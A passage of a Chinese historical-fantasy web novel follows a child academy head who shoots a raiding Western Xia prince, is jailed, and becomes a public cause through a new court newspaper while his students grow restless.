对方母族据说是书馆发家,想来对此应该十分需要。 送礼送的重,不如送的巧。这方子在他手中发挥不了大作用,但在其他人的手中,却可以称得上是一个暴利的产业。 果然,那吴县令一摸到这东西,顿时神色大亮,整个人也安定了几分。 他清了清嗓子,小心的看了看左右,拉紧了童启的手腕,往书房里去。 虽说要救,可如何救,也是个大学问。 这么多人眼睁睁盯着,他总不能直接让童启就这么带走吧?只得先暂时将曹家一行人从流民营中调出来,放到其他的村子里,然后再慢慢淡化对方的存在感,找个由头,放他们离开。 不然的话,凭白被人告上一状,他的小命,也别想保住。 “我懂,您放心,一切全听您的安排,小弟我安静等着便是,吴大哥,这事,便仰仗您了!” 童启客客气气行了一礼,整个礼数,无可挑剔。 吴县令也不拖延,第二日,便将曹家一系全部迁出,放入了寻常的村落中,令他们不必再干苦力,只需要正常上工开荒即可。 曹钟诚等人感恩不尽,知晓这约莫着便是华夏书院山长出手的原因了,个个庆幸不已。 柏弓良与岳灼华也由此终于找到了曹家的住址,和他们成功见上了面。 “婉欣!” “岳姐姐!” 两个姑娘跨越了大半个中原地区,重新相见,紧紧拉着手,眼含热泪。 “我还以为,此生再也见不到岳姐姐了!” 曹婉欣噗通一声软下半个身子,死死拉着岳灼华的衣角,扑在其怀中,大哭了一场。似要将这么些天所有的惊恐与委屈全部哭尽。 岳灼华心疼的搂着,见其拿惯了绣花针的手布满血泡与污秽,痛心不已。 她也是经历过家道“崩塌”的,母亲去世,祖父被罢官,舅舅被贬边疆,新夫人进门,人生中最惶恐无助的那几年,几乎是事情迭着事情,一同来临。 那种绝望无力感,她深有体会。 两个人抱头痛哭,落泪不止。 曹忠诚及柏弓良等人看的心中难受,只得避让了出去,前往院中。 他将京城里捎带过来的物件,一一给曹家人留下,嘱咐道,“这些都是父亲让我带过来的,即便你们一时用不到,藏起来,回头也能够当了银子,用来周转,环县地苦,要照顾好自己,只有护住身子,才能有未来。” 曹钟诚重重行了一礼,感谢柏家的援手之恩。 此刻,他们没有一个人知晓,这处只是个过客之所,还以为会待上一辈子。 屋内,岳灼华细细的净了手,给曹婉欣重新梳妆,换了衣服,这才拉着人坐下说话,谈谈一路上的辛苦,以及华夏书院的事情。 而童启听闻了曹家搬迁,此时也正打算前往探望曹时序的伤口。 他对镜整理着衣摆,不由想起了那日救了自己,却消失不见的小姐姐,也不知什么时候有缘分再遇到,不由落寞两瞬。 刚走出客栈,只听远方一阵喧嚣惊恐声,不少百姓跌跌撞撞,往家中跑去,满脸恐慌的大喊道。 “西夏人来了,西夏人来了!” “快逃啊!” 西夏人? 他们怎么敢闯入大奉朝的领土? 童继本等相继拔刀,慌乱而有序的立马护在了童启的身前。 尘土飞扬之中,几个明显异邦打扮的人骑在马上,举着火把,欢呼雀跃的闯了进来,见人便砍,见粮食便抢,□□烧,劫掠妇女。 原本的环县顿时陷入一场人间炼狱般的场景中。 哭喊声,求饶声,绝望的辱骂声混杂在一起,童启前几日方救下的小孩子,此刻刚刚照面,便被一个西夏人一刀砍在了胸上,顷刻间沦丧于马蹄之下。 童启何时见过这样的场景? 他生在和平年代,别说杀人了,就是杀鸡也很少见过几次,此刻呆愣愣站在门口处,活生生像是被吓傻了一般。 童继本护着他,道,“山长,咱们先避一避吧!” 这些可是西夏人啊! 只是听到这个名字,便有不少人吓破了胆,不少村落里火光四溢,慌乱四起,一个看起来不过五六岁的女童惊恐的尖叫着,被一位西夏人带上了马匹,飞快的朝外跑去。 童启翻身抢过旁边的马,紧随其后。 “山长!山长!” 童继本等人来不及阻拦,只得匆匆骑马跟了上去,一路上训练有素,简直比衙门里的亲兵还要更厉害些。 巡检司和县衙,此刻齐齐哑了火,就像是所有人都熟睡了一般,即便猛烈的敲着大门,依旧无人出来增援。 岳灼华和柏弓良自然也注意到了县城里的动静,来不及多想,便带着人匆匆出来帮忙。 一个不留神,曹婉欣被一西夏人掳上了马,曹时序慌忙起身上前拉扯,却没有拉住自己的妹妹。 “婉欣!婉欣!” 曹钟诚和曹时序等人歇斯底里的大喊道,崩溃不已。 岳灼华则是当即砍下了一个西夏人,抢过一匹马便追了上去。 柏大将军忙中回头,怒道,“灼华!” 可已然来不及。 两匹马就这么相继出了环县,曹婉欣哭喊着被按在马上,挣扎不断,那西夏首领扭头看着追上来的岳灼华,得意不已。 “嘿,小娘子,你这是看上了我,所以要跟着我一起回去吗?” 他用着不太标准的汉话笑着说道,手中握紧了曹婉欣的腰,耳中听着对方的哭泣,反成了血液中的兴奋剂。 而岳灼华回应他的,则是缓缓从箭筒里抽出的一只箭。 “嗖”的破空声,直接划破了那西夏人的脸庞,令他大怒的勒马停下。 “妈的,你敢伤我?” 那人抽出刀,一把扔下曹婉欣,愤怒的朝着岳灼华攻来。 明明是女人,柔弱不堪,可对上阵来,却丝毫不输。 那首领几刀下去皆被躲过,不由的心中嘀咕起来。 童继本等人带着队匆匆赶了过来,没有追上童启,反倒遇见了岳灼华救人,当即上前帮忙。 一群人围困贼首,场面顿时调转过来,可吴县令却驾着车从背后匆匆赶来,大喊道。 “住手,不能伤他,不能伤他!他是西夏国的小王子,都不准动手!难不成你们是想引起两国纷争吗?” 什么?这人竟然是西夏国小王子? 骤然得知,岳灼华和童继本相继犹豫的收了势,不敢再动。 可那西夏王子却不是个见好就收的,他骂骂咧咧,长吹了个哨音,将剩余的同伙纷纷叫了过来,扬起刀便朝着岳灼华重重砍去。 “去死吧!” 说时迟,那时快。 一只箭横空出世,径直穿过身后的西夏人,带着满满 的力道,正中那小王子的胸口处。 对方惊愕的低头看着胸前的箭,难以置信,如同慢镜头一般,缓缓转身望向身后,眨眼间从马上倒了下去。 领头被重伤,剩余的西夏人这才开始恐慌起来。 “你们敢伤我国王子?一定会付出代价的,你们等着,等着!” 那些人手忙脚乱的将小王子抬起,忙带着人离开。 而童启则坐在马上,逆着光,冷冷的看着离开的西夏等人,缓缓握紧了手里的弓,充满戾气。 童继本和岳灼华等人都惊呆了。 愣愣的看着出手的童启,半晌反应不过来。 而童启身前方才救下来的女孩子,则被寻过来的父母惊恐的搂入了怀中,大哭不止。 吴县令一屁股跌坐在地面上,魂都丢了半个,他茫然叹道。 “完了,这下全完了!” 第70章 第70章首进牢狱 重伤邻国王子,这事情若是柏弓良做的,那便是重罪,蓄意挑起两国纷争。 若是岳灼华或者童继本做的,那也是重罪,以下犯上,杀人偿命。 尤其这种时候,朝堂上和与不和,还没吵清楚呢,你就敢直接下手了? 疯了吧? 怎么敢的啊? 可偏偏上述的所有人都没有动手,那一箭射出的人,乃是童启? 一个原本就在大多数文人中享有盛名,实打实的舆论王者,尚不足十一岁的少年! 这一下,便棘手起来了。 尤其对方还和吴县令乃是同一个阵营。 “你啊你,何以那般冲动?若是西夏国因此打了过来,你能负责吗?”吴县令气愤不已,他一直不敢反抗,任由西夏人为非作歹,便是因为这个缘由。 若打起来,生民涂炭,介时造成的后果只会更严重!谁也不愿轻易掀起这场战争,尤其是在大奉朝势弱的情况下。 可童启却一箭打破了这个局面。 系统嗷嗷嗷早已经在脑子里喊了起来,嚷嚷着童启改变了客观的历史,尤其这一段不属于他们华夏书院的管辖范围内,可因此却被迫扯上了关系,影响到了未来不少既定的主线任务。 童启不管,他早就看不惯大奉朝唯唯诺诺的对外态度了,而且眼睁睁看着外邦人在自己眼皮子底下欺负百姓,这是哪一个文人都无法忍受的事情吧? 他跳下马,将手中的弓箭扔了下去,十分坦然的说道。 “我负责。而且,我不射那一箭,西夏就不会犯边了吗?根据《大奉朝刑统捕亡律》,诸夜无故入人家者,主家登时杀者勿论。他们跨过边界,烧杀抢掠,本就违反了我大奉朝的律令,我即便亲手射死对方,也是无罪。其次,事急从权,对方蓄意攻击孩童百姓,我只是出于防护目的,阻拦他的行径而已,不慎失手,也很正常吧?” 正常吗? 哪个文人会一箭射穿对方胸口啊? 吴县令一肚子吐槽的话,却无从说起,他心里明白,对方这话确实没错,可究竟算不算无罪,还真无法判断。 想了想,他只能令人将童启先行扣押回牢中,再想办法通知圣上,由对方决断。毕竟就如同对方说的一样,百姓的情绪、士族的意见,各种方面,皆会影响最后的结果,而是胜是败,在射出那支箭的时候,便已经不容控制了。 岳灼华全程安静的跟着一行人回到环县,呆愣愣的,还没有反应过来大脑里所新接收的信息。 直到第二日才恍然愣过来大家说的这小孩子叫什么名字。 ——童启。 等会儿,哪个童启?不会就是那个智斗举人,一年教出六个秀才,而且举办了蹴鞠大赛,令半个大奉朝为之吸引侧目的童启吧?那个华夏书院的山长! 怎么会这么小? 骗人的吧! 她后知后觉这才想起第一次相遇时,她一把将其搂入怀中,一口一个喊着小孩儿的样子,简直忍不住想拿帕子闷死那个时候的自己……真是丢人丢大发了。 尤其对方还因救她而下了狱。 她要如何才能够将其救出,偿还这份恩情呢?正思索着,舅舅柏弓良却匆匆从牢狱里走了回来,令所有人收拾东西,第二日清早,便赶紧离开环县。 岳灼华十分惊讶。 “怎么这么快?可童山长不是?” “这正是童启的建议!” 他将监狱里的三方会谈简单跟岳灼华讲了一下,听完,就连岳灼华都不得不佩服起这个孩子来,如此危机的情况下,换做别人早就吓疯了,可他却还能够如此冷静,一一安排完所有的事情,思考着每个人的退路与关联,这是何等强大的心态? 怪不得能一手创立起华夏书院,这已经多智近妖了吧? 原来,童启一路思考着后续的安排,刚一进入牢狱,便直接将吴县令、柏弓良和童继本留了下来。 他坦言道,“如今,咱们三个人算是暂时站在了同一条线上,但凡有任何一方出了问题,都难免会连累其他人一同受损,所以我建议咱们先抛下各自的阵营不提,先一致对外。吴县令,您如今最紧要的,便是尽快将此事通知给圣上,令其派枢密使前来调查,以安西夏,稳住民心。而柏将军,我建议您尽快离开,您留在这里,才是对我们最大的不利,尤其等朝廷的人一到,您无法解释,介时即便与此事无关,也难免会受到怀疑,若被误以为我等沆瀣一气,图谋不轨,那才是真正的完蛋。所以我建议,您明早就走。后续的事情,一概别提别管。” 反正他代表的是文人群体,只要与武将不沾边,那么闹得越大,圣上越不可能轻易杀了他。 更别提以如今的民心来看,大部分是倾向于“战”的一方。 他估摸着到最后不仅不会被判刑,说不得还能收获一波声望值,令华夏书院再次扬名一把,所以半点不慌。 “至于曹家的事情,我觉得此刻反而是一个很好的契机,西夏人烧杀抢掠,无人不知,可当日死的究竟有几人,暂时还没统计出来,只要能够在朝廷到来之前,提前安排好曹家,由继本叔率先带回伊川,便能将此事神不知鬼不觉的抹去,全部推到西夏人的头上。” “你是说……张冠李戴?” 吴县令精神一肃,悄声问道。 童启却认真的摇了摇头,道。 “我们只是把他们原本的罪状,放的更大一些罢了。” 毕竟在皇帝心中,杀了几个百姓,和杀了一个曾经在他面前做过官的人,那冲击力是完全不可同日而语的。只有让圣上真的感觉到危机感,仿佛脖颈间已经悬着了一把刀,对方才能够重视起西夏人犯边的事情,而不是像以往一般,敷衍了之,不管不顾。 反正书院里的事情,他暂且也不急。被关就被关,还能趁机利用自己的舆论,造一波势,影响大部分人的想法,何乐而不为呢? 吴县令沉吟过后,觉得有理。 这样做的话,既满足了三皇子的命令,又不至于他看起来像是不顾及情谊,针对自家阵营里的人,于是大手一挥,便按照其要求,直接给曹家的人销了档,另造了户籍文书,命童继本先带人离开。 接到命令,童继本不得不从,可担忧着山长的安全,还是留下了大部分的人。 当然,私下里,童启也有给到他一些任务。 比如书院的一切事务暂时交给潘阆先生负责,让学生们不必担忧,好好准备期末考试,回去他是要亲自监考的之类;再比如,让书院里暂时休刊一月,学生们各自商讨一期关于西夏人犯边屠村的策论,回去他要查看之类的。 反正,一点都没有半分求救的意思。 童继本无奈,只得带着曹家人匆匆赶回伊川,与先生们商量起如何是好来。 而外界,关于童启一箭射杀西夏王子的事情,也如同一场大火,悄然烧了起来,震惊朝野四海的同时,先不提各儒家态度如何,只环县的百姓们,便用行动纷纷表达了自己的立场与支持。 “凭什么抓捕童山长,他没有做错!” “那西夏冒犯我们大奉朝的疆土,死了也活该!为什么要关押童山长?” “对啊,童山长是冤枉的!放了童山长,放了童山长!” …… 牢房外,人山人海,每日聚集了不少为他鸣不平的百姓们,抗议不断。 大家不知道其中内情,还以为抓了童启,便是要将其判刑,个个紧张的不行。 边境百姓苦西夏人久矣。 他们虽不敢反抗还 手,但并不代表他们不希望别的人站起来,替他们打回去,狠狠反击!如今,童启一个“手无缚鸡之力”的文人也敢拿起箭来,将一个王子射杀,那其他男儿,谁还肯再示弱? 一时间,环县军心大震,反而因此鼓舞了士气,大家斗志昂扬,像是打了鸡血一般,等待着朝廷的宣战。 系统也由此更换了被修改之后的新任务主线。 【叮,由于宿主的不慎,被困牢狱,请积极逃离,为自己洗刷冤屈吧! 成功:奖励一张中阶抽奖券 失败:物理抹杀】??? 童启颇有趣味的挑了挑眉,疑似找到了新的刷抽奖券的bug方法。 且不论童继本带着曹家一系回到伊川,掀起了多大的风波,同样是入狱。 吴韧蹲监狱的时候,那叫一个凄惨,饭饭吃不上,住住的不舒服。 可换做是童启,却完全调转了个个。 有着吴县令帮忙照拂,牢中的衙役和犯人又因为倾佩其所作之事,几乎是竭尽其所能为童启打造好舒适的环境。 索性闲着也是闲着,童启干脆在牢里给大家讲起了故事来。 从探案集讲到西游记,再从西游记讲到封神演义…… 大家听的那叫一个如痴如醉,尤其是上值的衙役,都恨不得二十四小时自己轮值,随侍其左右,唯恐错过半点其内容。 童启翘着二郎腿坐在牢狱里,左手边放着瓜子,右手边放着鸡腿、饮子,慢悠悠的讲着,简直颇有几分乐不思蜀的感觉。 等京城里人到了,吴县令带着进入牢中,对方看到的便是一个干净至极的单人牢房,脚下每一寸土地都被收拾的干干净净,床榻上竟然还铺着棉被、锦缎,手脚边则是各种的书籍、茶点。 过的简直比普通的客栈还要好。 “不愧是华夏书院的童山长,这坐牢,倒是坐出乐趣来了。” 童启忙站起身,看向外面,没想到来的却是个熟人。【你现在阅读的是 】 70-80 第71章 第71章报纸头版 “木知府?” 童启猛地站起身,看着牢房外站着的木奎盛,惊讶无比。 老实说,其实当年木奎盛在河南府当知府的时候,童启并不喜欢他。毕竟其人贪婪无度,又十分迷信,压根没有什么符合一州知府的能力与资格,可当他走了,与新任知府顾信之比起来,又让人觉得木奎盛这样的人都算是好的了。起码喂够了钱就行,为难别人也大多都是光明正大的为难,但凡有利可得,就不会随意干涉,遇到不擅长的,也不介意放权暴露自己的无知。 很好懂。 上次听闻消息,还是对方升迁回朝廷,担任提点刑狱公事的时候,没想到,竟然会在这里再次遇见? 木奎盛笑盈盈的捧着自己的大肚子,令吴县令打开牢门,俯身走了进来。 “相隔一年了吧,久没见面,我已胖了几分,可没想到,童山长却还是这般……年轻。” 对方视线滑过头顶,憋了许久,才说出这么个词来。 童启微抽了一下嘴角,强忍住不去在意。 可系统却无情的拆穿道,“哈哈哈哈他是想说你矮吧,怎么会有人两年都没长个子啊!” 用力的将对话框点了叉,童启伸出手请木大人坐下。 “我也没想到竟然会是您来。您这是……又升了?” 一般枢密使可都是朝廷一品大员,这升官速度,飞的吧? 木奎盛忙摆了摆手,道,“哪里有那么容易?上次升官托的还是童山长的福,这一次,怕是又要借您的光了。我是和枢密使齐承胤齐大人一同来的。这一次,你可是做了一桩大事啊!” 他将朝廷里听到这事情的反应一一讲给了童启听。 圣上那边还好,倒是内阁里的大人们,有一个算一个,几乎都快气疯了。他们本已经快拟定好了与西夏的和书,连每年“赏赐”多少钱都说定了一个数目,谁想到童启一箭,直接断绝了他们以往所有的努力。 “三殿下那边也是十分惊讶。” 自入了朝堂后,木奎盛便加入了三皇子一党,所以如今,勉强也和童启算是半个自己人。 他说道,“咱们这一派其实无关和与不和,反正也没有武将,原本三殿下也是偏向和的那一方,但得知此事后,立马就变了!他托我跟你说,虽然有些意外,但他十分理解你的心情,毕竟文人气节嘛,不能忍,很正常!而且你送的那个报纸的想法,非常不错,尤其与活字印刷术配合起来,那简直就是完美啊!京城里,三殿下已经打算先做出一期试试水了,他有直觉,若能做成,这怕是名留青史的好主意!所以临来时,特意嘱咐我给你送一份来,过过目!” 木奎盛偷摸将怀中的报纸拿出,递给童启。 怎么说,这也算是历史上的第一份报纸了。 三皇子虽不大聪明,但有一个绝佳的优点,那便是听话,只要他认为是对的,便绝对服从照做,即便不大明白为什么要如此做。 因此在童启指导下创办的第一份报纸,一上来,便十分符合现代的模式。 三尺长,一尺五寸宽,四开四版,铺展起来,大概能占据整张书案的大小。 其上蝇头小楷,密密麻麻,有广告,有话本,有新闻,有图案。虽用的最廉价的纸张,可却胜在印刷清晰便捷,价钱也按照童启所建议的,三文一张。 甫一推出,便受到了整个京都强烈的欢迎。 从一早他们华夏书院每个月校刊的争抢速度,其实就能够看出,大奉朝百姓对于娱乐的强烈需求,而三皇子这份报纸,承接的恰如其分。 且不同于校刊专业知识的排外性,这份报纸更接近于现代的娱乐小报,定位也是普普通通的居民,从娱乐八卦到政治新闻,因背后靠着的是三皇子,所以也十分敢讲,尤其是这头版头条的主笔人,用词辛辣,一上来,便直接吸引了所有人的眼球。 【愧为丈夫,竟对西夏屠戮童稚袖手旁观,斯文败类何以忝列朝堂?】 好家伙,一上来,就骂了大半个朝堂的文人,牛哇! 他忍不住瞅了一眼主笔,见到署名乃是:哭哭夫人。 更觉讽刺感拉满。 “三殿下将这份报纸,取名为大奉朝报,初期一周两刊,等人物配置齐整,一切上了轨道,再看情况进行增刊。这第一版,便讲的是你的事。” 要不怎么说背靠大树,好乘凉呢? 这活字印刷术和报纸,放在童启手中用处不大,毕竟他也不可能自己去创办一份这样的东西,明摆着找死吧? 可放在三皇子手上,那却刚好合适。 甚至因为对方出身皇家,未来有可能是大奉朝的主人,所以连一贯敏感垄断了文字书籍的世家,都不太敢明晃晃的反对。 而三皇子也是个识趣的,当即投桃报李,替他引导起舆论来,不仅极其细致的讲述了当日发生的事情,用词也颇为昂扬,从边疆每年受损的将士讲到西夏劫掠侮辱的百姓数量,其画面之惨烈,情绪之愤懑,简直看得人忍不住当即拍桌子报名参军,上战场跟西夏人厮杀起来。 嗯,的确是个写新闻的好苗子。 就是 涉及到他本人的部分,有些夸张。 童启只看了几行,便认为赞的太过了,像是在描述什么民族英雄一般,顿时讪讪的挪开了眼,尴尬道。 “替我谢谢三殿下,可这事情形容的是不是有点夸张,尤其是我的那部分……” “哪里夸张?就这,三殿下还不满意,觉得过于低调了呢!”木奎盛接过那报纸,打断道,抬手拍了拍他的肩膀。“放心,舆论这方面,有我们盯着,问题不大。倒是你自己,要多加小心一些,这次的事情可大可小,主要还是看西夏人那边的态度,圣上已经令枢密使齐大人带了礼物,想办法去和西夏人缓和关系,他是主和党一派,难免不会在其中动什么手脚,你多多防范,莫落下口实。” 这说的,便是回头审问时的事情了。 童启眼皮一跳,忍不住追问道。 “你的意思是,圣上也是支持和的一派?” 木奎盛小心翼翼看了看左右,冲东方抱了抱拳,“我出发时,圣上对此事并无表态,但我听身边的大监说,原本圣上是十分愤怒,不愿意打的,可在听说了死亡的百姓名单后,却犹豫了很多。” 童启若有所思,这说明对方的确看到了曹家的事情,心中的天平开始逐渐倾斜了。 怪不得,明明派了主和派的枢密使,却又将三皇子旗下的木奎盛,一同送了过来。 想来,皇上也是在犹豫,要不要打吧? 京城里,关于西夏和童启的事情,仍旧在争论不休。 有着三皇子在大奉朝报上的煽风点火,如今大街小巷基本上都知道了环县发生的事。 岳灼华焦虑难安。 她知晓,这件事情背后应该有很多人在拉扯权衡,自己一介女子,压根帮不上什么忙,可毕竟算是当事人之一,亲眼见到童启那么大个小孩被投入监狱,又怎么可能不担心? 偏偏因着她偷跑出去,被岳父发现,还因此挨了打禁了足,不准再出门,所以连带着丫鬟小厮,都难以知晓外界的消息。 呵呵,好歹也是一甲出身,怎么就怂的那么厉害? 他也就不知道,西夏小王子的那一箭,差点就是她射出去的,不然的话,估计得吓得当场晕倒吧? 岳灼华嘲讽的想着。 一屁股躺在床榻上,哀怨的滚了几圈,长叹一口气。 另一边,快马加鞭带着曹家一系四口人回到华夏书院的童继本,却面临着截然相反的场面。 “什么叫做山长被扣押了?到底怎么回事?” “你怎么能把山长留在那里呢?他才十一岁,再怎么,也还是个孩子啊!” “疯了,简直疯了!丢了谁也不能丢了山长啊?其他事情有什么重要的,咱们整个书院缺了谁都能够运转,可缺了童山长,那便是一盘散沙!” …… 一大堆先生、家长们紧紧围在童继本的四周,争先恐后的问询着,将他急得满头大汗。 章县令和柏老也听闻了此事,忙派人上山查看。 童继本口干舌燥,将童启的吩咐一一转述,顺带着把曹家四口人暂时安置在了宿舍里,令王小花和邢御医帮忙照顾其伤势,这才与潘阆等人说明了西夏犯边的事情。 要不怎么说一个书院里的饭,吃不出两样人呢? 华夏书院的先生们听完这事,个个义愤填膺,没有一个人认为童启做错了的,反而觉得朝廷实在是怯懦,都被人欺负到家门口了,竟然不敢反击?若不是山长到了现场,亲眼看到,他们还不知道事情竟已然过分到了如此地步了呢! 可即便愤怒,也无济于事,就像山长说的那样,这事情涉及到朝堂,不是他们一两个文人便能够左右的。 只能等着圣上和西夏那边的态度放出来,才知结果如何。 如今之计,关键是要守好学生们,他们年轻气盛,若是知晓,难免会做出冲动之事,影响大局。 于是,几位先生私下商量后,统一决定暂时关闭华夏书院出入口,封锁消息,等一个月过后,童启的事情顺利解决,再行公开。 学生们得知后,均唉声叹气,抱怨不断。 可也没怎么疑虑,毕竟山长不在,潘阆先生是出了名的严厉,补课加点,也算正常。 倒是谢君仪等人十分不平。 他们又不打算那么快科考,干嘛连唯一的休息时间也要牺牲占用? 反正山长也没回来,早一日晚一日的,能耽误什么? 匆匆给学生们开完会,先生们回到各自的办公室,提笔研墨。 潘阆给徐常侍写了好几封信,托他打听此事的后续,并央求着其在皇帝面前多多帮忙,敲敲边鼓,善待童启。 而温叶辞等人,则是跟自己在环县附近的远亲们写信,令其帮忙走动,务必多照顾一下山长大人。 勿使其在牢房里受了委屈。 第二日清晨,距离学院院墙最近的藏书阁内,一大早,便有几位学生造访。 吭哧吭哧的和木铜人打完架,谢君仪扛着梯子,坐在墙头上,急切的小声唤着人。 “快一点,我好不容易才从保安队那边争取到的时间,咱们只有一盏茶,等过了这一会儿,院墙就要重新通电了,届时咱们都得电死!” 小侯爷沈亦颤颤巍巍的顺着梯子往上爬,一脸担忧。 “你确定真的关掉了?万一突然来电怎么办?而且这墙好高!我们翻过去,会摔死的吧!” 之前贼人夜闯书院,被电的大小便失禁的事情,他可是最清楚的! 绝对不想成为第二个! 谢君仪嘚瑟的晃了晃脑袋,从怀中掏出一把钥匙来。 他是谁?最擅长的便是沟通关系了,靠着每日的食堂抢饭,他早和安保队的领头王队长混熟了,不过是个院墙开关罢了,他暗地都看着对方操作好几次了,早学会了,甚至还偷摸试过,确保无事,这才敢带着人出门。 哪里会有什么危险? 柳三变站在底下,不屑地嘲讽道。 “就你怂,不过翻个墙而已,有什么可怕的?要是不敢去就别去,还一年级呢,说出去丢死人,我学前班的都没你胆子小!” “你才怂,翻就翻,怕什么?” 沈亦被挑衅的起了火,将衣服的下摆往裤子里一塞,顺着木梯便跨坐在了院墙上。 谢君仪率先落到另一边,伸出手,稳稳将其接下。 三个臭皮匠终于在门外相聚,顿时得意不已。 其实他们出去也没什么事,不过就是在书院里关的久了,有点不耐烦,想要追寻点刺激,听闻这个月伊川县有集市大会,便蠢蠢欲动,想要去凑热闹。 三个小孩子头一次干“坏事”,个个兴奋不已,揣着兜里一早换好的银子,便往山下走去。 有那沧澜村的村民看见他们,还颇为疑惑,这怎么不是旬假,却见到学生下山了? 几个人先换过校服,到县城里的成衣店买了一身新的换上,然后便慢悠悠逛起集市来。 伊川县一年一会。 每逢这个时候,很多小商小贩都会远道而来,贩卖东西。摊主们早早将布棚撑起,从五彩斑斓的丝绸、精致的瓷器,到新鲜的瓜果蔬菜,应有尽有,看得人目不暇接。正中央的空地上,杂耍艺人卖着力气,展示着各种新奇的技术,什么胸口碎大石,抛彩球,吞剑之类的,连三小只都给看迷糊了,不知不觉便跟着人群喝彩、给赏钱。 他们手拉着手,怕走丢,从头一口气逛到尾,直至尽兴,这才走到一间茶馆内,歇歇脚。 偏偏其内正在讲述着童启一箭射死西夏王子的事情,说的那叫一个绘声绘色。 “且说那童山长手持长弓,箭在弦上,满弓如月,对着西夏小王子,横眉冷对,怒喝一声,道:尔等胆敢犯我边疆?!只要有我童启在,便绝不容你等猖狂!其声,如雷霆炸响,震得四周树叶都簌簌发抖。可那西夏王子却猖狂无比,强掩着惊恐,嘲讽道,就你这手无缚鸡之力的酸秀才,还想拦我?做梦去吧!说罢,他抱着女童,便想要扬长而去,那模样,当真是嚣张至极!可童启是谁?那是华夏书院的童山长,文武双全,岂是好惹的?只见他大喝一声,弓弦响动,那箭头仿佛带着天火,火星子直冒,嗖的一声,正中西夏王子胸口!” “那王子惨叫一声,吐血倒地,临死前瞪大了眼睛,难以置信:我堂堂西夏王子,竟死在你这等文人手里?我死也难以瞑目啊, 苍天不公,既生我,又何生你童启?!说完,一命呜呼。剩下的西夏人,见领头的王子死了,顿时吓得魂飞魄散,拔腿就跑,可咱们那环县的吴县令却是个怂包,不说追敌寇,反而一见到那尸体,便气的直跳脚,骂童山长多管闲事,耽误了朝廷的说和大业,二话不说,就把童山长关进了大牢。即便受到如此委屈,童山长却依旧不怨不怒,他长叹一口气,道,哪怕我不动手,那西夏人也早晚要犯边,我死不足惜,只要能让朝廷看清西夏人的狼子野心,我死得其所!那声音,悲怆无比,如同洪钟大吕,响彻云霄,令在场之人无一不为之动容!” 底下的无数妇人耳中听着,眼里也不由落下泪来,擦拭不尽。 可三小只却直接听傻了。 刚开始他们还十分热血沸腾,想着不愧是我们华夏书院的山长,就是厉害!可当听到其被关进牢房那里,便觉得不对劲起来。 什么牢房? 你们在说什么? 我们山长被抓了?怎么可能!谁这么大胆! 柳三变腾的一下便站了起来,怒哄哄道,“你们瞎说什么?我们山长出门访友,只是还未归来罢了,哪里就有什么下狱之类的?什么西夏王子,吴县令?你们到底在讲什么乱七八糟的?” 一旁的谢君仪和沈亦也皆是一脸的不信。 在他们的认知中,山长就是最最厉害的,谁也不可能伤到他半分,怎么可能像那说书人说的那样,被人关进牢里? 高台之上,说书人不耐烦的甩了甩手中的报纸,没好气道。 “这又不是我说的,人家那报纸上都写了,你们可以自己看嘛。” 报纸? 那是什么? 谢君仪忙从其他人手中买了一份,急匆匆翻阅着。 这才知道京城里已经仿着他们的校刊,搞出了什么小报来,那报纸上极尽详细写着他们山长在环县经历的事情,和说书人说的不是一致又如何? 这一下,直接令三小只慌了手脚,连忙拿着报纸就往回赶。 第72章 第72章编外学生 此刻,华夏书院内的安保部门也吓得要死。 谁能想到换个班的时间,就有三名学生翻过院墙,直接逃出去了?潘阆先生通知他们的时候,王队长的小脑都快萎缩了一瞬!尤其是这几个学生还都是家世背景比较厉害的,但凡有一个出了什么事,那就是真的提头来见的程度! 一群人吓得连忙派人下山去找,还没走到县城,半路便碰到了气哄哄赶回来的三个人。 “你们为什么不告诉我山长被抓了?”小侯爷沈亦率先发问道,一脸的愤怒与难以置信。 “对啊,我们竟然一点风声都没有听到,也太过分了吧!” “我们要去救山长,别拦我们!” 三小只毫无遮掩的意思,直接站在书院门口便大声嚷嚷了起来,整个华夏书院瞬间传遍,几乎所有学生都知道了童启入狱的事情,别说读书了,就是坐,也坐不安稳。 如今书院里的学生不多,大部分都是被山长亲自招进来的,因此雏鸟情结,也最在乎童启! 尤其是不少人还受过他的恩惠,勤工俭学或开导教养,在所有人心中,都有一个心照不宣的共识,那便是先生是先生,山长是山长。 先生只能是先生,可山长却是【朋友】、【老师】、【父亲】、【此生最珍爱的人】、【永远追随的道】…… 因此,当这个核心突然出了事,那影响的不仅仅是一个位置,而是半个世界的崩塌。 所有人急得抓耳挠腮,二年级更是连考试都不想考了,当即就要收拾东西,前往环县,营救山长。 潘阆等人急匆匆阻拦下所有群情激愤的学生们,大声呵斥道。 “若你们去了,那才是真正的愚不可及!对面什么身份,你们什么身份?天子一怒,伏尸百万,匹夫一怒,血溅五步而已!只你们现在的模样,难不成是想一个个排着队用人头去和西夏人辩驳吗?为什么山长不肯让我告诉你们,正是怕会发生这样的事!你们如今,只有好好读书,努力科举,方为正道,不愧山长的苦心啊!” “我也不瞒了,他为什么千里迢迢去环县,不正是为了给你们请来当过官的老师来华夏授课吗?若不是此,又哪里来的横生枝节,受困下狱?现在,你们还要在这种情况下再添混乱不成?还不快回去坐着,好好读书考试!” 学生们被骂的垂头丧气,赶了回去。 而吴韧则内疚无比。 他知道,山长所作正是为了他,若不是他迷茫时向山长询问“何为官,如何当官”之事,山长也不会特意为了他去寻找当官之人,来华夏任职,也就不会因此身陷囹圄! 想起自己曾经在河南府大牢里经历的惨烈环境,吴韧便心如刀绞。 他一个从小吃惯了苦的人都尚且适应不了那样的环境,山长一个十一岁的孩子,又哪里能承受的住? 想着,他终于还是忍不住站起身,往外走去。 汪启元直接挡在他的身前,将其拦下。 “你要去哪里?” “营救山长。” “就凭你?”汪启元不屑的冷哼一声,“我知道你也担忧山长,可这个时候,任何人都能去,唯独不能去的便是咱们!你忘了河南府之事了?明年就要参加乡试了,多少双眼睛盯着你,若是你前往环县出了什么事,只会令山长更加分神!你还是少添些乱吧,我已经让父亲和全胜镖局的人带队前往环县,照顾山长,剩下的,咱们只能等。” 旁边的刘卜温也点头称是,“没错,如果咱们去了,只会让朝廷更加怀疑山长的目的,如今之计,只有想办法努力在明年考中进士,只有咱们真的入了朝堂,才能真正的帮到山长!” 吴韧咬紧了牙,握住自己的拳头。 他知晓汪启元说得对,就连一贯冲动的常仕进此刻都比他要更加理智。 读书,当官,在这一刻开始变得具有实质性。 他只有爬的最高,才能报答山长的恩情。 一瞬间,整个二年级教室内只剩下快速的翻书声,清虚子站在后门处,欣赏的点了点头,悄然退去。 可他们不动,不意味着就没有人动。 